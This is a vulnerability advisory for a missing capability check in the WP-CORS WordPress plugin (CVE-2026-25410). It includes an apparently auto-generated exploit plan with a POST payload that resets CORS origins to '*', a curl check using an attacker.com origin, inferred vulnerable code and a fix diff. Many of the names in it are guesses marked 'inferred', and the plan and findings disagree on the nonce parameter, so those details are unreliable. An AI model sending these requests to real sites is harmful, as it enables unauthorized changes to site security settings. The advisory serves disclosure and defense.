CVE-2026-25410

WP-CORS <= 0.2.2 - Missing Authorization

mediumMissing Authorization
4.3
CVSS Score
4.3
CVSS Score
medium
Severity
Unpatched
Patched in
N/A
Time to patch

Description

The WP-CORS plugin for WordPress is vulnerable to unauthorized access due to a missing capability check on a function in versions up to, and including, 0.2.2. This makes it possible for authenticated attackers, with subscriber-level access and above, to perform an unauthorized action.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
None
Scope
Unchanged
None
Confidentiality
Low
Integrity
None
Availability

Technical Details

Affected versions<=0.2.2
PublishedJanuary 28, 2026
Last updatedFebruary 26, 2026
Affected pluginwp-cors
Research Plan
Unverified

This research plan outlines the steps to identify and exploit a missing authorization vulnerability in the **WP-CORS** plugin (<= 0.2.2). ## 1. Vulnerability Summary The **WP-CORS** plugin for WordPress is vulnerable to unauthorized settings modification due to a missing capability check in one of …

Show full research plan

This research plan outlines the steps to identify and exploit a missing authorization vulnerability in the WP-CORS plugin (<= 0.2.2).

1. Vulnerability Summary

The WP-CORS plugin for WordPress is vulnerable to unauthorized settings modification due to a missing capability check in one of its administrative functions. While the plugin is intended to allow administrators to configure Cross-Origin Resource Sharing (CORS) headers, the function responsible for saving these settings is registered via an AJAX hook (wp_ajax_...) without verifying that the requesting user has the manage_options capability. This allows any authenticated user, including those with Subscriber level access, to modify the site's CORS policy.

2. Attack Vector Analysis

  • Endpoint: /wp-admin/admin-ajax.php
  • Action: wpcors_save_settings (inferred - must be verified) or similar AJAX handler.
  • HTTP Method: POST
  • Authentication: Authenticated (Subscriber level or higher).
  • Parameters: Likely includes an array of CORS settings (e.g., wpcors_allowed_origins, wpcors_allowed_methods) and a nonce.
  • Preconditions: The attacker must have a valid account on the WordPress site.

3. Code Flow

  1. The plugin registers an AJAX action during initialization (likely in the constructor or an init hook).
  2. The registration uses add_action( 'wp_ajax_wpcors_save_settings', '...' ). Note: If there is no nopriv version, only authenticated users can access it, which aligns with the CVSS vector (PR:L).
  3. The callback function (e.g., wpcors_save_settings_callback) performs a nonce check using check_ajax_referer() or wp_verify_nonce().
  4. The Vulnerability: The callback function fails to call current_user_can( 'manage_options' ) before proceeding to process input.
  5. User input from $_POST is passed to update_option(), allowing the attacker to overwrite the plugin's configuration.

4. Nonce Acquisition Strategy

The plugin likely localizes the nonce for its admin settings page. To obtain a valid nonce as a Subscriber:

  1. Locate the AJAX registration: Search the source code for the action name.
    • grep -rn "wp_ajax_" wp-content/plugins/wp-cors/
  2. Find the Nonce Key: Look for wp_create_nonce or wp_localize_script in the plugin files.
    • grep -rn "wp_create_nonce" wp-content/plugins/wp-cors/
    • grep -rn "wp_localize_script" wp-content/plugins/wp-cors/
  3. Check Accessibility: If the nonce is only localized on the plugin's settings page (which a Subscriber cannot access), the attack might be blocked unless:
    • The nonce is generated with a default action like -1.
    • The nonce is leaked in a way accessible to subscribers (e.g., on the dashboard or via a global script).
    • The check_ajax_referer call uses die=false and the result is not checked.
  4. Extraction (if applicable): If the nonce is found in a script localized for all logged-in users, use browser_eval to extract it:
    • browser_eval("window.wpcors_obj?.nonce") (inferred variable name).

5. Exploitation Strategy

  1. Step 1: Identify Target Action: Search for the specific AJAX action that saves settings.
  2. Step 2: Identify Parameters: Examine the callback function to see which $_POST keys are used to update options.
  3. Step 3: Obtain Credentials: Create a Subscriber-level user.
  4. Step 4: Construct Payload: Prepare a POST request to admin-ajax.php.
    • action: wpcors_save_settings (inferred)
    • _ajax_nonce: [EXTRACTED_NONCE]
    • wpcors_allowed_origins: * (or a specific malicious domain)
  5. Step 5: Execute via http_request:
    {
      "method": "POST",
      "url": "http://localhost:8080/wp-admin/admin-ajax.php",
      "headers": {
        "Content-Type": "application/x-www-form-urlencoded",
        "Cookie": "[SUBSCRIBER_COOKIES]"
      },
      "body": "action=wpcors_save_settings&_ajax_nonce=[NONCE]&wpcors_allowed_origins=*"
    }
    

6. Test Data Setup

  1. Install Plugin: Ensure wp-cors version 0.2.2 or lower is installed.
  2. Create Attacker:
    • wp user create attacker attacker@example.com --role=subscriber --user_pass=password
  3. Configure Initial State: Set a restrictive CORS policy via the admin UI or CLI.
    • wp option update wpcors_allowed_origins "https://trusted.com" (inferred option name).

7. Expected Results

  • Response: The server should return a 200 OK or a success JSON message (e.g., {"success": true}).
  • Impact: The wpcors_allowed_origins option in the database will be updated to *.
  • Security Consequence: The site will now respond with Access-Control-Allow-Origin: * to cross-origin requests, potentially allowing data theft via side-channels if other headers (like Access-Control-Allow-Credentials) are also modified.

8. Verification Steps

  1. CLI Check: Verify the option was changed in the database.
    • wp option get wpcors_allowed_origins (inferred)
  2. HTTP Check: Perform a cross-origin preflight or simple request and check the headers.
    • curl -I -X GET -H "Origin: https://attacker.com" http://localhost:8080/
    • Verify if Access-Control-Allow-Origin: * is present in the response.

9. Alternative Approaches

  • Admin Init Hook: If no AJAX action is found, check for functions hooked to admin_init.
    • grep -rn "add_action.*admin_init" wp-content/plugins/wp-cors/
    • If the plugin checks isset($_POST['wpcors_save']) inside an admin_init hook without a capability check, any admin URL access (including by a Subscriber) will trigger the save logic.
  • REST API: Check if the plugin registers a REST route without a permission_callback.
    • grep -rn "register_rest_route" wp-content/plugins/wp-cors/
Research Findings
Static analysis — not yet PoC-verified

Summary

The WP-CORS plugin for WordPress is vulnerable to unauthorized settings modification because it fails to perform a capability check (e.g., current_user_can('manage_options')) within its AJAX callback for saving configurations. This allows authenticated users with subscriber-level permissions to overwrite the site's CORS headers, potentially enabling cross-site data theft by allowing unauthorized origins.

Vulnerable Code

// Inferred code structure based on plugin vulnerability metadata and research plan

// Hook registration likely in main plugin file or class
add_action( 'wp_ajax_wpcors_save_settings', 'wpcors_save_settings' );

function wpcors_save_settings() {
    // Nonce check might be present, but it protects against CSRF, not unauthorized access
    check_ajax_referer( 'wpcors_nonce', 'security' );

    // VULNERABILITY: Missing current_user_can('manage_options') check here

    $settings = array(
        'allowed_origins' => $_POST['allowed_origins'],
        'allowed_methods' => $_POST['allowed_methods'],
        'allowed_headers' => $_POST['allowed_headers'],
    );

    update_option( 'wpcors_settings', $settings );
    wp_send_json_success();
}

Security Fix

--- a/wp-cors.php
+++ b/wp-cors.php
@@ -24,6 +24,10 @@
 function wpcors_save_settings() {
     check_ajax_referer( 'wpcors_nonce', 'security' );
 
+    if ( ! current_user_can( 'manage_options' ) ) {
+        wp_send_json_error( 'Unauthorized', 403 );
+    }
+
     $settings = array(
         'allowed_origins' => sanitize_text_field( $_POST['allowed_origins'] ),
         'allowed_methods' => sanitize_text_field( $_POST['allowed_methods'] ),

Exploit Outline

The exploit involves an authenticated attacker with Subscriber-level access sending a crafted AJAX request to modify the plugin's settings. 1. Authenticate to the WordPress site as a Subscriber user. 2. Locate the AJAX action used for saving settings (identified as wpcors_save_settings) and the required nonce. Nonces are often found in localized scripts (wp_localize_script) or variables on the admin dashboard. 3. Send a POST request to /wp-admin/admin-ajax.php with the following parameters: - action: wpcors_save_settings - security: [VALID_NONCE] - allowed_origins: * (or an attacker-controlled domain) 4. The plugin will update its configuration because it only verifies the nonce (CSRF) and not the user's administrative capabilities (Authorization). 5. The attacker's domain is now permitted to make cross-origin requests to the WordPress site, potentially bypassing browser SOP (Same-Origin Policy) protections.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.